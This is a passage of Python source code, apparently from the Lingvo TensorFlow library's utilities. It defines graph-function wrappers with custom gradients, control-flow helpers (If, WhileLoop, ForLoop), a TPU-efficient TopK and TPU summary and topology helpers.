if use_einsum:
assert isinstance(rank, int) and rank < 26, rank
# Use einsum to avoid data formatting overhead.
a2z = ''.join([chr(i) for i in range(97, 123)]) # abc...xyz
src = a2z[:rank]
if axis == -1:
tgt = src[:-1] + 'z'
else:
tgt = src[:axis] + 'z' + src[axis + 1:]
length = GetShape(x)[axis]
causal_mask = tf.linalg.band_part(
tf.ones([length, length], dtype=x.dtype), 0, -1)
return tf.einsum(f'{src},{src[axis]}z->{tgt}', x, causal_mask)
length = GetShape(x)[axis]
my_range = tf.range(length)
comparator = tf.less if exclusive else tf.less_equal
mask = tf.cast(
comparator(tf.expand_dims(my_range, 1), tf.expand_dims(my_range, 0)),
x.dtype)
result = tf.tensordot(x, mask, axes=[[axis], [0]])
if axis != -1 and axis != rank - 1:
result = tf.transpose(
result,
list(range(axis)) + [rank - 1] + list(range(axis, rank - 1)))
return result
def ProjectLastDim(inputs, weight, input_dim, output_dim):
"""Linear projection on the last dim of the input tensor.
This is a TPU efficient implementation to avoid reshaping inputs to Rank-2
tensor by using Einsum for the compute.
Args:
inputs: An input Tensor, the last dimension of which is input_dim.
weight: A weight matrix with shape [input_dim, output_dim].
input_dim: An integer or a symbolic dim, the last dimension of the inputs.
output_dim: An integer or a symbolic dim, the last dimension of the outputs.
Returns:
An output Tensor of the same rank as inputs, the last dimension is
output_dim.
"""
input_dim = int(
symbolic.ToStatic(input_dim) if symbolic.IsExpr(input_dim) else input_dim)
output_dim = int(
symbolic.ToStatic(output_dim) if symbolic.IsExpr(output_dim
) else output_dim)
# Assert input_dim and output_dim
inputs = with_dependencies([assert_equal(GetShape(inputs)[-1], input_dim)],
inputs)
weight = with_dependencies([
assert_equal(GetShape(weight)[0], input_dim),
assert_equal(GetShape(weight)[-1], output_dim)
], weight)
if (use_tpu() and inputs.shape is not None and
inputs.shape.rank is not None and inputs.shape.rank < 26):
# Avoids reshape if feasible and uses Einsum.
if inputs.shape.rank == 2:
outputs = tf.matmul(inputs, weight)
else:
# This is equivalent to:
# outputs = tf.einsum('...y,yz->...z', inputs, weight)
# Unfortunately ... in einsum() leads to extra HBM usage.
s = ''.join([chr(x) for x in range(97, 123)]) # abc...xyz
r = inputs.shape.rank
outputs = tf.einsum('{0}y,yz->{0}z'.format(s[:r - 1]), inputs, weight)
else:
outputs = Matmul(tf.reshape(inputs, ToStaticShape([-1, input_dim])), weight)
outputs = tf.reshape(
outputs,
tf.concat([
tf.cast(GetShape(inputs)[:-1], tf.int32),
ToStaticShape([output_dim])
],
axis=0))
return outputs
@contextlib.contextmanager
def RemoveAssertContext(remove=True):
"""Hacks to replace certain unwanted tensorflow ops."""
# TODO(zhifengc/huangyp): Consider implementing assert_equal
# op replacement for lingvo. As assert_equal doesn't support String on GPUs.
# Hack to replace tf.assert_equal
# TODO(b/136040013): Remove this after migration to tf.function.
if remove:
saved_assert_equal = tf.check_ops.assert_equal
def NoOP(*args, **kwargs): # pylint: disable=unused-argument
return tf.no_op()
tf.check_ops.assert_equal = NoOP # Make assert_equal a no op.
try:
yield
finally:
tf.check_ops.assert_equal = saved_assert_equal
else:
yield
def _AssertInputsMatch(op, args, implicit_captures):
"""Assert that op's inputs match with args and implicit_captures.
Args:
op: The operation to check.
args: A nested structure representing the explicit arguments of 'op'.
implicit_captures: A nested structure representing the implicitly captured
inputs of 'op'.
Raises:
ValueError: if the number of inputs mismatch.
"""
expected_inputs = Flatten([args, implicit_captures])
expected_num_inputs = len(expected_inputs)
if len(op.inputs) > expected_num_inputs:
raise ValueError(('Too many inputs. The most likely cause is that fwd '
'captures additional tensors: extra inputs %r vs %r '
'captures=%r') % (list(op.inputs), list(expected_inputs),
list(Flatten(implicit_captures))))
if len(op.inputs) < expected_num_inputs:
raise ValueError(('Mismatched inputs to fwd: Found %d vs expected %d: %r'
'. Implicit captures(%d) = %r') %
(len(op.inputs), expected_num_inputs, list(op.inputs),
len(Flatten(implicit_captures)), implicit_captures))
def TensorSpecs(nmap, keep_shape=True):
"""Transforms tensors in the input nested structure to TensorSpecs."""
if nmap is None:
return None
fn = lambda t: tf.TensorSpec(t.shape if keep_shape else None, t.dtype)
return Transform(fn, nmap)
def _DefineDefun(fwd, fwd_sig, bak=None, bak_as_function=False, device=None):
"""Wraps fwd in a defun with custom gradient bak.
Args:
fwd: A callable xs: Nested Structure -> ys: Nested Structure.
fwd_sig: A Nested Structure of tf.TensorSpec representing the input
signature of `fwd`, or None (meaning that fwd takes no inputs).
bak: A callable xs, ys, dys: Nested Structure -> dxs[, dcapture]: Nested
Structure. The custom backprop function for `fwd`. bak needs to return
dcapture if fwd uses any implicitly captured tensors, whose gradients are
dcapture.
bak_as_function: Whether to create a TF graph function for `bak`.
device: the device on which to run `fwd` and `bak`.
Returns:
A NestedMap containing:
- call: A callable that will execute `fwd`. It has the same input and output
signatures as `fwd`.
- func: The underlying TF function that `call` calls. If not None, it will
be a _DefinedFunction or ConcreteFunction that takes flat inputs and
returns flat outputs, and can be used by routines that require a TF
function object (e.g. tf.If, tf.While, etc).
Always not None when `bak` is None.
- output_dtypes: A nested structure compatible with the outputs of `fwd`
containing the corresponding output dtypes.
- stateful_ops: A list of (op_name, op_type) tuples representing the
stateful ops used by `fwd`.
- captured_inputs: Implicit inputs captured by `fwd`.
"""
assert fwd is not None
noinline = not use_xla()
if fwd_sig is None:
fwd_sig = []
get_dtype = lambda x: x.dtype
arg_dtypes = Flatten(Transform(get_dtype, fwd_sig))
get_shape = lambda x: x.shape
arg_shapes = Flatten(Transform(get_shape, fwd_sig))
# Used to hold the backward function used by Grad, which will be defined if
# bak is set.
sigs = NestedMap()
# Output of this method.
res = NestedMap()
python_grad_func = None
if bak:
def Grad(op, *args):
"""Gradient function for the forward function.
Args:
op: The forward operation.
*args: Gradients wrt op.outputs.
Returns:
Tuple of derivatives.
"""
_AssertInputsMatch(op, fwd_sig, res.captured_inputs)
# Ensure dys contains no None.
args = ConvertNoneGradientToZeros(list(op.outputs), list(args))
xs = op.inputs[:len(arg_dtypes)] # The rest are captures.
return sigs.backward(*Flatten([xs, op.outputs, args]))
python_grad_func = Grad
def _SetShape(dst_list, shape_list):
for dst, shape in zip(dst_list, shape_list):
if isinstance(dst, tf.Tensor):
dst.set_shape(shape)
@tf.Defun(*arg_dtypes, python_grad_func=python_grad_func, noinline=noinline)
def Forward(*args):
"""The forward function."""
_SetShape(args, arg_shapes)
with RemoveAssertContext(remove=noinline):
call = lambda: fwd(Pack(fwd_sig, args)) if args else fwd()
if device is None:
# Defun will handle the device assignment.
rets = call()
else:
with tf.device(device):
rets = call()
res.outputs = rets
return Flatten(rets)
forward = Forward
if not arg_dtypes:
# In this case Forward is an _OverloadedFunction, we need to instantiate it.
forward = Forward.instantiate([])
# Invokes fwd() to get res.outputs.
forward.add_to_graph(tf.get_default_graph())
res.func = forward
res.stateful_ops = forward.stateful_ops
res.captured_inputs = forward.captured_inputs
output_dtypes = Transform(get_dtype, res.outputs)
output_shapes = Transform(get_shape, res.outputs)
def Call(args=None):
"""Wrapper of fwd."""
if args is None:
flat_rets = forward()
else:
flat_rets = forward(*Flatten(args))
if not isinstance(flat_rets, (tuple, list)):
flat_rets = [flat_rets]
_SetShape(flat_rets, Flatten(output_shapes))
return Pack(output_dtypes, flat_rets)
res.call = Call
if bak:
def Backward(*args):
"""The backward function."""
_SetShape(args, Flatten([arg_shapes, output_shapes, output_shapes]))
xs, ys, dys = Pack([fwd_sig, output_dtypes, output_dtypes], args)
with RemoveAssertContext(remove=noinline):
if device is None:
# Defun will handle the device assignment.
dxs = bak(xs, ys, dys)
else:
with tf.device(device):
dxs = bak(xs, ys, dys)
return Flatten(dxs)
if bak_as_function:
sigs.backward = tf.Defun(
*Flatten([arg_dtypes, output_dtypes, output_dtypes]),
noinline=noinline)(
Backward)
sigs.backward.add_to_graph(tf.get_default_graph())
else:
sigs.backward = Backward
return res
# Global variable to control rendezvous sharing in tf.function.
# If False (default) rendezvous sharing is disabled in tf.function, that is, the
# function body use a separate rendezvous and can't communicate with parent
# graph via send/recv.
# With _GetSharedRendezvous() == True, the function body share the same
# rendezvous with the parent graph and can talk to it using send/recv. This is
# useful for layers like StackedRecurrent.
_SHARED_RENDEZVOUS = ThreadLocalStack()
@contextlib.contextmanager
def _SharedRendezvousScope(shared_rendezvous=True):
_SHARED_RENDEZVOUS.stack.append(shared_rendezvous)
try:
yield
finally:
_SHARED_RENDEZVOUS.stack.pop()
def _GetSharedRendezvous():
"""Get the current rendezvous sharing setting."""
return _SHARED_RENDEZVOUS.stack[-1] if _SHARED_RENDEZVOUS.stack else False
def _ApplySharedRendezvous(func):
"""Apply the rendezvous sharing setting on the given tf.function func."""
# pylint: disable=protected-access
func._shared_rendezvous = _GetSharedRendezvous()
# pylint: enable=protected-access
def _WrapFunction(func=None, input_signature=None):
"""Wraps func as a tf.function."""
if input_signature is None:
input_signature = []
def Decorated(fn):
@tf.function(input_signature=input_signature, autograph=False)
def Fn(*args):
# TODO(b/163904067): mimic Defun' behavior and reset the step seed to
# avoid it being used as an implicit capture. This is not a desired
# behavior, it should take the step seed from parent graph instead.
ResetStepSeed()
# Mimic Defun and disable collection sharing.
graph = tf.get_default_graph()
# Don't share summaries collection with parent graph (b/168745134).
graph.clear_collection(tf.GraphKeys.SUMMARIES)
return fn(*args)
_ApplySharedRendezvous(Fn)
# Add the function to the graph so it'll be traced under the current
# context. This is necessary if the function body captures any non-tensor
# values from the environment, like symbolic maps.
cf = Fn.get_concrete_function()
cf.add_to_graph()
return cf
# For the `foo = _WrapFunction(foo, ...)` use case.
if func is not None:
return Decorated(func)
# For the `@_WrapFunction(...)` use case.
return Decorated
def _DefineFunction(fwd, fwd_sig, bak=None, bak_as_function=False, device=None):
"""Wraps fwd in a defun with custom gradient bak.
Args:
fwd: A callable xs: Nested Structure -> ys: Nested Structure.
fwd_sig: A Nested Structure of tf.TensorSpec representing the input
signature of `fwd`, or None (meaning that fwd takes no inputs).
bak: A callable xs, ys, dys: Nested Structure -> dxs[, dcapture]: Nested
Structure. The custom backprop function for `fwd`. bak needs to return
dcapture if fwd uses any implicitly captured tensors, whose gradients are
dcapture.
bak_as_function: Whether to create a TF graph function for `bak`.
device: the device on which to run `fwd` and `bak`.
Returns:
A NestedMap containing:
- call: A callable that will execute `fwd`. It has the same input and output
signatures as `fwd`.
- func: The underlying TF function that `call` calls. If not None, it will
be a _DefinedFunction or ConcreteFunction that takes flat inputs and
returns flat outputs, and can be used by routines that require a TF
function object (e.g. tf.If, tf.While, etc).
Always not None when `bak` is None.
- outputs: The outputs of `fwd`. Used for reflection only (e.g. to get the
output dtypes, shapes, etc).
- stateful_ops: A list of (op_name, op_type) tuples representing the
stateful ops used by `fwd`.
- captured_inputs: Implicit inputs captured by `fwd`.
"""
assert fwd is not None
noinline = not use_xla()
if fwd_sig is None:
fwd_sig = []
if device is None:
# Get the current device to mimic Defun's behavior.
# pylint: disable=protected-access
device_funcs = tf.get_default_graph()._device_functions_outer_to_inner
device = device_funcs[-1] if device_funcs else None
# pylint: enable=protected-access
# Output of this method.
res = NestedMap()
@_WrapFunction(input_signature=Flatten(fwd_sig))
def Forward(*args):
"""The forward function."""
with RemoveAssertContext(remove=noinline), tf.device(device):
if args:
xs = Pack(fwd_sig, args)
rets = fwd(xs)
else:
rets = fwd()
res.outputs = rets
return Flatten(rets)
res.captured_inputs = Forward.captured_inputs
# Get the stateful ops used in cell_fn. Logic borrowed from
# _EagerDefinedFunction.__init__().
graph = Forward.graph
input_ops = set(arg.op for arg in graph.inputs)
operations = [op for op in graph.get_operations() if op not in input_ops]
res.stateful_ops = [(o.name, o.type) for o in operations if o._is_stateful] # pylint: disable=protected-access
def Call(func, args=None):
"""Wrapper of fwd."""
if args is None:
flat_rets = func()
else:
flat_rets = func(*Flatten(args))
if not isinstance(flat_rets, (tuple, list)):
flat_rets = [flat_rets]
return Pack(res.outputs, flat_rets)
if not bak:
res.func = Forward
res.call = lambda args=None: Call(Forward, args)
return res
shared_rendezvous = _GetSharedRendezvous()
ret_specs = TensorSpecs(res.outputs)
def Backward(*args):
xs, ys, dys = Pack([fwd_sig, ret_specs, ret_specs], args)
with RemoveAssertContext(remove=noinline), tf.device(device):
dxs = bak(xs, ys, dys)
return Flatten(dxs)
if bak_as_function:
backward_cf = _WrapFunction(
Backward, input_signature=Flatten([fwd_sig, ret_specs, ret_specs]))
else:
def BackwardWithSharedRendezvous(*args):
with _SharedRendezvousScope(shared_rendezvous):
return Backward(*args)
backward_cf = BackwardWithSharedRendezvous
@tf.custom_gradient
def ForwardWithGrad(*args):
"""Forward function and its custom gradient."""
# Note that `args` includes implicit captures. This is required by
# tf.custom_gradient so that when the Grad() outputs include gradients to
# implicit captures, they match the inputs to ForwardWithGrad().
#
# However, Forward doesn't take implicit captures as input, so we exclude
# them here.
fwd_args = args[:(len(args) - len(Flatten(res.captured_inputs)))]
op = NestedMap(inputs=args, outputs=Forward(*fwd_args))
def Grad(*args, **kwargs):
"""Gradient function for the forward function.
Args:
*args: Gradients wrt op.outputs.
**kwargs: Additional arguments from tf.custom_gradient.
Returns:
Tuple of derivatives.
"""
if kwargs:
tf.logging.warning(
'Ignoring additional arguments used by tf.custom_gradient: %s',
str(kwargs))
_AssertInputsMatch(op, fwd_sig, res.captured_inputs)
# Ensure dys contains no None.
args = ConvertNoneGradientToZeros(list(op.outputs), list(args))
xs, _ = Pack([fwd_sig, res.captured_inputs], op.inputs)
return backward_cf(*Flatten([xs, op.outputs, args]))
return op.outputs, Grad
res.func = None
forward = lambda *xs: ForwardWithGrad(*Flatten([xs, res.captured_inputs]))
res.call = lambda args=None: Call(forward, args)
return res
# Global variable to control whether to use tf.function.
# If not set, the result is determined by tf2 status. See _UseTfFunction for
# details.
# TODO(laigd): remove after b/169869929 is fixed.
_USE_TF_FUNCTION = ThreadLocalStack()
# Constants for propagating framework tensors through Function.
_FRAMEWORK_TENSOR_GLOBAL_STEP = '_global_step'
@contextlib.contextmanager
def TfFunctionScope(use_tf_function=True):
_USE_TF_FUNCTION.stack.append(use_tf_function)
try:
yield
finally:
_USE_TF_FUNCTION.stack.pop()
def _UseTfFunction():
"""Whether to use tf.function instead of tf.Defun."""
if _USE_TF_FUNCTION.stack:
return _USE_TF_FUNCTION.stack[-1]
return tf2_enabled()
class Function(object):
"""Function builds a TensorFlow graph function from a callable.
In the high level this is similar to tf.Defun and tf.function. In fact this
relies on those as underlying implementations, but with specific configuration
so it's easier to use and can work well in some extreme cases in Lingvo.
Example usage:
- No inputs:
>>> @Function()
... def foo():
... return tf.constant(1.0)
>>> y = foo()
- Scalar input:
>>> @Function(fwd_sig=tf.TensorSpec(None, tf.float32))
... def foo(x):
... return x * 2
>>> y = foo(1.0)
- List input:
>>> @Function(fwd_sig=[tf.TensorSpec(None, tf.float32) for _ in range(2)])
... def foo(xs):
... return xs[0] + xs[1]
>>> y = foo([1.0, 2.0])
- Nested input:
>>> @Function(fwd_sig=NestedMap(x=tf.TensorSpec(None, tf.float32)))
... def foo(nmap):
... return nmap.x * 2
>>> y = foo(NestedMap(x=1.0))
- With custom gradient function (other input types mentioned above are also
supported):
>>> def bar(x, y, dy):
... del y, dy
... return 4.0 * x * dy
>>>
>>> @Function(fwd_sig=tf.TensorSpec(None, tf.float32), bak=bar)
... def foo(x):
... return 2.0 * x * x
- Used in control flow ops:
>>> then_branch = Function(tf.TensorSpec([], tf.int32))(lambda x: x / 2)
>>> else_branch = Function(tf.TensorSpec([], tf.int32))(lambda x: 3 * x + 1)
>>> y = tf.If(cond, inputs, then_branch.func, else_branch.func)
"""
# TODO(laigd): the use_tf_function option is added for backward compatibility
# reasons. Remove it after the migration.
def __init__(self,
fwd_sig=None,
bak=None,
bak_as_function=False,
device=None,
use_tf_function=None):
"""Constructor.
Below we assume `fwd` is the input to `__call__` that is used to build the
TensorFlow graph function encapsulated by this object.
Args:
fwd_sig: A Nested Structure of tf.TensorSpec representing the input
signature of `fwd`, or None (meaning that `fwd` takes no inputs). The
actual inputs should be compatible with this (have same shapes and
dtypes).
bak: A callable xs, ys, dys: Nested Structure -> dxs[, dcapture]: Nested
Structure. The custom backprop function for `fwd`. bak needs to return
dcapture if `fwd` uses any implicitly captured tensors, whose gradients
are dcapture.
bak_as_function: Whether to create a TF graph function for `bak`.
device: The device on which to run `fwd` and `bak`. Defaults to the
current device.
use_tf_function: Whether use tf.function. Defaults to _UseTfFunction().
"""
self._fwd_sig = fwd_sig
self._bak = bak
self._bak_as_function = bak_as_function
self._device = device
self._use_tf_function = use_tf_function
def __call__(self, fwd):
"""Creates a graph function.
Args:
fwd: a callable xs: Nested Structure -> ys: Nested Structure.
Returns:
A DefinedFunction object encapsulating `fwd` as a graph function.
"""
assert callable(fwd)
return DefinedFunction(fwd, self._fwd_sig, self._bak, self._bak_as_function,
self._device, self._use_tf_function)
class DefinedFunction(object):
"""Encapsulates a TensorFlow graph function and its properties."""
def __init__(self,
fwd,
fwd_sig=None,
bak=None,
bak_as_function=False,
device=None,
use_tf_function=None):
"""Constructor.
Args:
fwd: A callable xs: Nested Structure -> ys: Nested Structure. Used to
build the TensorFlow graph function that this object encapsulates.
fwd_sig: A Nested Structure of tf.TensorSpec representing the input
signature of `fwd`, or None (meaning that `fwd` takes no inputs). The
actual inputs should be compatible with this (have same shapes and
dtypes).
bak: A callable xs, ys, dys: Nested Structure -> dxs[, dcapture]: Nested
Structure. The custom backprop function for `fwd`. bak needs to return
dcapture if `fwd` uses any implicitly captured tensors, whose gradients
are dcapture.
bak_as_function: Whether to create a TF graph function for `bak`.
device: The device on which to run `fwd` and `bak`. Defaults to the
current device.
use_tf_function: Whether use tf.function. Defaults to _UseTfFunction().
"""
self._fwd_sig = fwd_sig
wrapped_fwd_sig = fwd_sig
fwd_fn = fwd
bak_fn = bak
graph_random_seed = None
if tf.get_default_graph().seed is not None:
graph_random_seed = tf.get_default_graph().seed
# Wrap the forward function to propagate framework tensors like step_seed
# and global_step.
wrapped_fwd_sig = NestedMap()
self._added_global_step = False
if GetGlobalStep() is not None:
wrapped_fwd_sig[_FRAMEWORK_TENSOR_GLOBAL_STEP] = (
tf.TensorSpec([], tf.int64))
self._added_global_step = True
if fwd_sig is not None:
wrapped_fwd_sig.inputs = fwd_sig
elif not wrapped_fwd_sig:
wrapped_fwd_sig = None
def ForwardWrapped(wrapped_inputs=None):
if graph_random_seed is not None:
tf.random.set_seed(graph_random_seed)
global_step = None
if wrapped_inputs:
assert isinstance(wrapped_inputs, NestedMap)
global_step = wrapped_inputs.get(_FRAMEWORK_TENSOR_GLOBAL_STEP, None)
with GlobalStepContext(global_step):
if wrapped_inputs and 'inputs' in wrapped_inputs:
result = fwd(wrapped_inputs.inputs)
else:
result = fwd()
return result
fwd_fn = ForwardWrapped
if bak:
# Wrap the backward function to return zero gradients for framework
# tensors like step_seed and global_step.
def BackwardWrapped(wrapped_xs, ys, dys):
if graph_random_seed is not None:
tf.random.set_seed(graph_random_seed)
with GlobalStepContext(
wrapped_xs.get(_FRAMEWORK_TENSOR_GLOBAL_STEP, None)):
result = bak(wrapped_xs.inputs, ys, dys)
dxs = Transform(tf.zeros_like, wrapped_xs)
if isinstance(result, tuple) and len(result) == 2:
dxs.inputs, dcapture = result
return dxs, dcapture
else:
dxs.inputs = result
return dxs
bak_fn = BackwardWrapped
if use_tf_function is None:
use_tf_function = _UseTfFunction()
fn = _DefineFunction if use_tf_function else _DefineDefun
self._data = fn(
fwd=fwd_fn,
fwd_sig=wrapped_fwd_sig,
bak=bak_fn,
bak_as_function=bak_as_function,
device=device)
def __call__(self, args=None):
"""Invokes the graph function.
Args:
args: the inputs to the graph function, must be compatible with `fwd_sig`.
Returns:
The output tensors with the same structure as the output of `fwd`,
returned by a call to the graph function.
"""
assert IsCompatible(args,
self._fwd_sig), '{} vs {}'.format(args, self._fwd_sig)
return self._data.call(self.AddFrameworkInputs(args))
@property
def func(self):
"""The underlying TensorFlow graph function that this object encapsulates.
The returned graph function is created by tracing `fwd` during construction.
If not None, it will be a _DefinedFunction or ConcreteFunction that takes
flat inputs and returns flat outputs, and can be used by routines that
require a TensorFlow function object (e.g. tf.If, tf.While, etc).
If no backprop function is provided during construction, the result is
always not None.
"""
return self._data.func
def AddFrameworkInputs(self, inputs):
"""Add framework tensors like step_seed and global_step to inputs.
This is only necessary when using `func`, as wrapping is handled
automatically in __call__.
Args:
inputs: inputs to the function.
Returns:
Inputs wrapped with framework tensors suitable for use with `func`.
"""
result = NestedMap()
if self._added_global_step:
global_step = GetGlobalStep()
assert global_step is not None
result[_FRAMEWORK_TENSOR_GLOBAL_STEP] = tf.cast(global_step, tf.int64)
if inputs is not None:
result.inputs = inputs
return result if result else None
@property
def output_dtypes(self):
"""Output dtypes of the graph function.
The result will have the same structure as the outputs of `fwd` but contain
the corresponding output dtypes.
"""
return Transform(lambda x: x.dtype, self._data.outputs)
@property
def stateful_ops(self):
"""Stateful ops used by `fwd`, as a list of (op_name, op_type) tuples."""
return self._data.stateful_ops
@property
def captured_inputs(self):
"""Implicit input tensors captured by `fwd`."""
return self._data.captured_inputs
def CallDefun(fwd, args=None, bak=None, bak_as_function=False, device=None):
"""Wraps fwd in a defun with custom gradient bak and calls it with args.
Args:
fwd: A callable xs: Nested Structure -> ys: Nested Structure.
args: A Nested Structure of tf.Tensor or None.
bak: A callable xs, ys, dys: Nested Structure -> dxs[, dcapture]: Nested
Structure. The custom backprop function for fwd. bak needs to return
dcapture if fwd uses any implicitly captured tensors, whose gradients are
dcapture.
bak_as_function: Whether to create a TF graph function for bak.
device: the device on which to run fwd and bak.
Returns:
A Nested Structure equivalent to what fwd(args) computes.
"""
if args is not None:
args = Transform(tf.convert_to_tensor, args)
sigs = Function(
fwd_sig=TensorSpecs(args),
bak=bak,
bak_as_function=bak_as_function,
device=device)(
fwd=fwd)
if args is None:
return sigs()
else:
return sigs(args)
def If(cond, inputs, then_branch, else_branch):
"""Helper to construct an if/else statement.
Args:
cond: A scalar `Tensor` that can be converted to boolean.
inputs: A flattenable representing the input tensors of the if/else
statement. Can be None to represent no inputs.
then_branch: A callable 'inputs' -> flattenable. The returned value should
be compatible with what 'else_branch' returns.
else_branch: A callable 'inputs' -> flattenable. The returned value should
be compatible with what 'then_branch' returns.
Returns:
Output returned by the call to either 'then_branch' or 'else_branch'.
"""
fwd_sig = TensorSpecs(inputs)
then_sigs = Function(fwd_sig=fwd_sig)(fwd=then_branch)
else_sigs = Function(fwd_sig=fwd_sig)(fwd=else_branch)
assert IsCompatible(then_sigs.output_dtypes, else_sigs.output_dtypes), (
'Outputs of then_branch and else_branch are not compatible: {} vs {}'
.format(then_sigs.output_dtypes, else_sigs.output_dtypes))
if then_sigs.captured_inputs != else_sigs.captured_inputs:
raise ValueError('Differing captured inputs in then and else. '
'Ensure the same tensors are captured in the same order.')
ret = tf.If(
cond=cond,
inputs=Flatten(then_sigs.AddFrameworkInputs(inputs)) +
then_sigs.captured_inputs,
then_branch=then_sigs.func,
else_branch=else_sigs.func)
return Pack(then_sigs.output_dtypes, ret)
def _Itype():
"""Loop iterator data type."""
return tf.int32 if use_xla() else tf.int64
def WhileLoop(cond, body, loop_state):
"""Helper to construct a while loop.
Args:
cond: A callable NestedMap -> tf.bool.
body: A callable NestedMap -> NestedMap.
loop_state: A flattenable (NestedMap, list, tuple, etc.) representing the
loop state.
Returns:
The final loop state in the same structure as loop_state.
"""
fwd_sig = TensorSpecs(loop_state)
cond_sigs = Function(fwd_sig=fwd_sig)(fwd=cond)
def BodyWrapped(loop_state):
result = body(loop_state)
# loop_state is augmented with global tensors inside of DefinedFunction.
# WhileLoop needs to return the same structure as the inputs, so we augment
# the return value here to match.
result = cond_sigs.AddFrameworkInputs(result)
return result
body_sigs = Function(fwd_sig=fwd_sig)(fwd=BodyWrapped)
wrapped_inputs = body_sigs.AddFrameworkInputs(loop_state)
new_state = tf.While(
Flatten(wrapped_inputs), cond=cond_sigs.func, body=body_sigs.func)
# The functional `While` used above does not have a registered gradient.
# This was not a problem in Graph mode, however in Eager mode,
# GradientTape will attempt to call the gradient of the While op in the
# forward pass. `stop_gradient` is used to pretend the op is a constant
# in the forward pass. This also avoids calling the gradient of other ops in
# `While` in the forward pass.
# Details in https://www.tensorflow.org/api_docs/python/tf/custom_gradient.
# Guarded by 'IsEagerMode' to limit impact.
if IsEagerMode():
new_state = [tf.stop_gradient(t) for t in new_state]
return Pack(wrapped_inputs, new_state).inputs
def ForLoop(body, start, limit, delta, loop_state):
"""Helper to construct a for loop.
Args:
body: A callable (tf.int, NestedMap) -> NestedMap.
start: Loop variable's initial value.
limit: Loop variable's limit value.
delta: Loop variable's change per iteration.
loop_state: A flattenable (NestedMap, list, tuple, etc.) representing the
loop state.
Returns:
The final loop state in the same structure as loop_state.
"""
state = NestedMap(
iter=tf.cast(start, _Itype()),
limit=tf.cast(limit, _Itype()),
delta=tf.cast(delta, _Itype()),
loop_state=loop_state)
def LoopCond(state):
return tf.less(state.iter, state.limit)
def LoopBody(state):
state.loop_state = body(state.iter, state.loop_state)
state.iter = tf.add(state.iter, state.delta)
return state
return WhileLoop(LoopCond, LoopBody, state).loop_state
def TopK(x_in, k):
"""Equivalent to tf.math.top_k(x_in, k) but more efficient on tpu."""
assert k <= 2, 'This implementation is only efficient for small k.'
# TODO(yonghui): Try out an alternative idea where we first reshape x_in as a
# 2d tensor, then call tf.math.top_k, and then reshape back.
x_in_shape = x_in.shape
x_rank = x_in_shape.rank
assert x_rank and x_in_shape.as_list()[x_rank - 1] > 0
last_dim_size = x_in_shape.as_list()[x_rank - 1]
min_value = tf.math.reduce_min(x_in) - 1.0
out_indices = []
out_values = []
for unused_i in range(k):
index_i = tf.math.argmax(x_in, axis=-1, output_type=tf.int32)
mask_i = tf.one_hot(index_i, last_dim_size)
# TODO(yonghui): Would tf.gather be more efficient and numerically stable
# here?
value_i = tf.reduce_sum(mask_i * x_in, -1, keepdims=True)
x_in = (1.0 - mask_i) * x_in + mask_i * min_value
out_indices.append(tf.expand_dims(index_i, -1))
out_values.append(value_i)
if k == 1:
return out_values[0], out_indices[0]
else:
return tf.concat(out_values, x_rank - 1), tf.concat(out_indices, x_rank - 1)
def ReadVariable(var_op):
"""Returns the value of the given variable operation.
Args:
var_op: the `Operation` object for a VarHandleOp.
Raises:
TypeError: if var_op is not a VarHandleOp.
Returns:
A `Tensor` containing the value of the variable.
"""
if var_op.type != 'VarHandleOp':
raise TypeError('var_op should be a VarHandleOp, got %s' % str(var_op.type))
# Filter out the ReadVariableOps that have control dependencies to avoid
# side-effects when the user runs it.
filter_fn = lambda op: op.type == 'ReadVariableOp' and not op.control_inputs
var_readers = list(filter(filter_fn, var_op.outputs[0].consumers()))
assert var_readers
return var_readers[0].outputs[0]
_TPU_SUMMARY_TENSORS_KEY = ('__lingvo_tpu_summary_tensors')
_TPU_SUMMARY_CONTEXTS = ThreadLocalStack()
def _GetTpuSummaryTensor():
if _TPU_SUMMARY_CONTEXTS.stack:
return _TPU_SUMMARY_CONTEXTS.stack[-1]
return _CollectionGetter(_TPU_SUMMARY_TENSORS_KEY, lambda: [])()
@contextlib.contextmanager
def TpuSummaryTensorContext():
"""Creates a context where AddTpuSummaryTensor() will add tensors."""
_TPU_SUMMARY_CONTEXTS.stack.append([])
try:
yield
finally:
_TPU_SUMMARY_CONTEXTS.stack.pop()
def AddTpuSummaryTensor(name, value, weight=1.0):
"""Adds tensor to global collection of summaries, or a local context if any.
This needs to be used in situations where tf.summary() could be used but
currently tf.summary is not supported. Use py_utils.AddTpuSummaryTensor() in
low level code to add summary tensors to global collection of summaries.
Then recover all summary tensors from global collection by calling
py_utils.GetTpuSummaryTensors() from top level code (for example from
ComputeLoss method of BaseTask).
In addition to 'name' argument, current tensorflow name scope is also
captured and added to the metric name. This way for example summaries from
a repeated layer will appear as separate graphs in the tensorboard.
Weight argument is optional and defaults to 1.0. See BaseTask.ComputeLoss for
the exact definition of weight for eval metrics.
Args:
name: metric name
value: metric value tensor
weight: weight tensor for weighted metrics
"""
tpu_summary_tensors = _GetTpuSummaryTensor()
x = NestedMap()
x.name = name
x.value = value, tf.convert_to_tensor(weight)
x.name_scope = tf.get_default_graph().get_name_scope()
tpu_summary_tensors.append(x)
def GetTpuSummaryTensors():
"""Returns summary tensors from global collection.
Returns:
A dict containing str keys and (metric, weight) pairs as values
"""
tpu_summary_tensors = _GetTpuSummaryTensor()
return {
'%s/%s' % (x.name, SanitizeScopeKey(x.name_scope)): x.value
for x in tpu_summary_tensors
}
def ClearTpuSummaryTensors():
tpu_summary_tensors = _GetTpuSummaryTensor()
del tpu_summary_tensors[:]
def ComputationShape(split_size, topology=None):
"""Decides the computation shape based on the split_size.
Args:
split_size: number of accelerators to use per split.
topology: a serialized string of `tensorflow.tpu.TopologyProto`, or a
`tf.tpu.experimental.Topology` object, that describes the TPU cluster
topology. If not set, it'll use a default setting based on split_size.
Returns:
A 4-element list that describes the computation shape.
"""
if topology:
if isinstance(topology, tf.tpu.experimental.Topology):
topology_info = topology
else:
topology_info = tf_topology.Topology(serialized=topology)
computation_shape = None
if topology and functools.reduce(lambda a, b: a * b,
topology_info.mesh_shape) == split_size:
computation_shape = topology_info.mesh_shape
elif split_size == 1:
computation_shape = [1, 1, 1, 1]
elif topology and topology_info.mesh_shape[
-1] == 1 and split_size in topology_info.mesh_shape:
# For Megacore, if we find exact match on mesh shape, map split_size to it
computation_shape = [1, 1, 1, 1]
computation_shape[topology_info.mesh_shape.tolist().index(
split_size)] = split_size
else:
if topology:
cores_per_chip = topology_info.mesh_shape[-1]
else:
cores_per_chip = 2
assert split_size % cores_per_chip == 0
split_chips = split_size // cores_per_chip
if split_chips == 1:
